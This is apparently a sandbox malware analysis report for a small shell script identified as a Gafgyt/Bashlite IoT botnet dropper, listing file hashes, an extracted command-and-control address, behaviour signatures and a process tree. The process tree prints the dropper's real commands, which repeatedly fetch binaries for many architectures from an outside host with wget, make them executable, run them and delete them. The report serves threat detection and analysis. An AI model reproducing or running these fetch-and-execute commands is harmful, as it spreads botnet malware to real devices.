Analysis
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max time kernel
60s -
max time network
62s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
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submitted
28/09/2024, 07:55
General
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Target
sex.sh
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Size
1KB
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MD5
884dc57dd0892038d53a2d4b017504df
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SHA1
52ab9780591ee9718ce6188a9edafc1afa05dcdf
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SHA256
d347e32185478f56ce1c96e1e5dc3ad80ffdcf623036ca6750c60c6183a5c779
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SHA512
25e1afb67512005fecdf47712dfc1f0c74ecb221ed0f3904ff47f3ef30948334e31426003f6590c580024f758c7ab8576412a280b5f5ce3f787b6208037db3ca
Malware Config
Extracted
gafgyt
205.185.127.244:23
Signatures
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Detected Gafgyt variant 9 IoCs
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Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
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File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 9 IoCs
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Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
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Changes its process name 1 IoCs
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System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/sex.sh/tmp/sex.sh1⤵
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/usr/bin/wgetwget http://205.185.127.244/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod +x mips2⤵
- File and Directory Permissions Modification
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/tmp/mips./mips2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- System Network Configuration Discovery
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/bin/rmrm -rf mips2⤵
- System Network Configuration Discovery
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/usr/bin/wgetwget http://205.185.127.244/mipsel2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod +x mipsel2⤵
- File and Directory Permissions Modification
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/tmp/mipsel./mipsel2⤵
- Executes dropped EXE
- System Network Configuration Discovery
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/bin/rmrm -rf mipsel2⤵
- System Network Configuration Discovery
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/usr/bin/wgetwget http://205.185.127.244/sh42⤵
- Writes file to tmp directory
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/bin/chmodchmod +x sh42⤵
- File and Directory Permissions Modification
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/tmp/sh4./sh42⤵
- Executes dropped EXE
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/bin/rmrm -rf sh42⤵
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/usr/bin/wgetwget http://205.185.127.244/x862⤵
- Writes file to tmp directory
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/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
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/tmp/x86./x862⤵
- Executes dropped EXE
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/bin/rmrm -rf x862⤵
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/usr/bin/wgetwget http://205.185.127.244/arm612⤵
- Writes file to tmp directory
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/bin/chmodchmod +x arm612⤵
- File and Directory Permissions Modification
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/tmp/arm61./arm612⤵
- Executes dropped EXE
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/bin/rmrm -rf arm612⤵
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/usr/bin/wgetwget http://205.185.127.244/i6862⤵
- Writes file to tmp directory
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/bin/chmodchmod +x i6862⤵
- File and Directory Permissions Modification
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/tmp/i686./i6862⤵
- Executes dropped EXE
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/bin/rmrm -rf i6862⤵
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/usr/bin/wgetwget http://205.185.127.244/ppc2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x ppc2⤵
- File and Directory Permissions Modification
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/tmp/ppc./ppc2⤵
- Executes dropped EXE
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/bin/rmrm -rf ppc2⤵
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/usr/bin/wgetwget http://205.185.127.244/5862⤵
- Writes file to tmp directory
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/bin/chmodchmod +x 5862⤵
- File and Directory Permissions Modification
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/tmp/586./5862⤵
- Executes dropped EXE
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/bin/rmrm -rf 5862⤵
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/usr/bin/wgetwget http://205.185.127.244/m68k2⤵
- Writes file to tmp directory
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/bin/chmodchmod +x m68k2⤵
- File and Directory Permissions Modification
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/tmp/m68k./m68k2⤵
- Executes dropped EXE
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/bin/rmrm -rf m68k2⤵
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/usr/bin/wgetwget http://205.185.127.244/dc2⤵
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/bin/chmodchmod +x dc2⤵
- File and Directory Permissions Modification
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
107KB
MD5878511883ecf938a9b30e0a5eebb1b78
SHA16f4192c09680a8cdec1c33fec77e40a96faeee15
SHA256777ff84d65d53fb8da3f25c4c303cb6f6505ee534e8bdbd936c1f9e60e70a533
SHA5128ea3f989940b431a6b994374fc322a0eb7933fe6791e947a573ad3e7d26f6a4ee8c72ae4d79e6d23be5f152df4e29934bb7e623a7530ac2752f4c6e3cf0181a4
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Filesize
174KB
MD500c59b56e0ef93ffa2eacb7ffc355bc6
SHA1e9f1a9fa3f2d7e9b8d40129dea37e82746609cea
SHA256e0fa297f5c991e85f42412776055dda158fb18d7d69ff51e2b5430291f1746c7
SHA512063a3293125b6981bafe1409bbf2b06ce21496a18496a39a4837f1bdad73e8dfb590118a1eab50e50504ef884a389e516090f485f7381c68f3233d290cdbadcf
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Filesize
111KB
MD59528d0e8ca08dae17e7e19ef7d13e035
SHA15d1ff7764e03718af5ebe432c9b8d0d2e1d057ee
SHA25653c2bfcfa15435d366b80b96946fe5cff049453b086cd255faf0968d55605f1e
SHA51272d6cd79bf99d095ee7009c3ff6569d7fbc0b950207aac061c4a289f9e89027519e1d7fa25f778a3131c0f57743ccdec5c30d4ebb8eabaa48ed61ceb18c4030e
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Filesize
129KB
MD55f4fef5c575e8b3b11d8475dd4de719a
SHA1273104250032ebdc02e19b05bcf2b5b682e27368
SHA256b909016b579dfc65db56aac511f68f0ed62ef87b14c4819278ad9dc67cf68338
SHA5127103b1af22a821297fc1aab82e128936e306059ed055d979e5af418cc8e21ead7f2d28988816b8709be733a36eaccaca0a5d3f0fd17983400cb5e3daeb907e89
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Filesize
176KB
MD524e07a16008a42f0a8dceb166b4b44cd
SHA187f80fc2998304bc8735479faa75f509a6d5db13
SHA256c4d4bfc3fa6e216baccce64fe187d70519f11aa8ad33573cfdf1c416bbd0ad6f
SHA512b75a61fc9584e124dbc98556e30166e379dc01ce64312a48906d8e4aed406127aeea1da5f8183e10fe0468908863f7467ac58e71f482c119300836c7c419dab5
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Filesize
176KB
MD5ac28a3dfa3ed9b815a8021a362b06607
SHA193455b3775f586e230d8879489f9a6062de70677
SHA2563d9924dddeca5e712bd22e28453437b61eb95c5319e7535737a0bd7a128f30a5
SHA51294c3aae6a3e945aac0beff504c76f454a5f2b78b88d4cd2364cb0f5608dc25183d37bf0338d4fc2966616e95cbe7ef03f34dfb910dd688ae536d9f5a66f1516e
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Filesize
128KB
MD5184c7d44649ab256bd5705724bbec6a1
SHA1baa0a75bd81f5985eb42ad0bdc282405b66af67d
SHA2563a6f6b23c30602cfd2328e7a6972fcc29423e4ed67a1b854d108b7711992ec58
SHA512ec1cd34debb06ce5c1571582f26b433ee34c7959fa1d1af0e1e6a0f9834f3d277916e8128d1b73ad569df89e7576b3b9a1a112dd08f10ddee00e30e821ffaa43
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Filesize
123KB
MD55ec3c0e18b6fbc6e37bd611e2df8f9a4
SHA1de10e2b7ce11ffa0bc0fcca82a489a3e6efc160d
SHA2569b1ca4aa272007f3ae1a80932a690cd1749ab6f8f7980de0f2e5cd326573c4c6
SHA51276f484543e43cfb33ff449439a64ae08578a7c8142393eed0219f642d7e9401ecf7efe093765be45f1c767d970cc0d280ba53264eb2a6eb7771a7055765e8b20
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Filesize
127KB
MD5678363120cd2661f040670b90f211243
SHA157d75e1c42243d08eb78623e6cdc6b066994a7ee
SHA256cd39c6c637c039bcedc5b906e8c0e602f73c841947b429efc88ec4511d95a36a
SHA5125a2b440135caa5656deb70f7d6274f8bc570e31c6aac4b6aac8375962db512b885afc6223a9767fc0ff7f29dc5377efa441277cb356dba1e3b5716a57f38ca55